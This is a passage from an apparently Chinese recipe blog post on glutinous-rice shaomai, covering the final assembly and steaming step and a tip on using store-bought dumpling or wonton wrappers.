4. 成菜:将糯米馅放入擀好的面皮上收口,口不用捏严,做成烧麦。然后将蒸锅水烧开后蒸10分钟即可。

*小贴士*

烧麦皮可以从超市买饺子皮,然后再擀成烧卖皮即可。也可以直接用馄饨皮做,像视频中那样。

2020-10-30 / by / in ,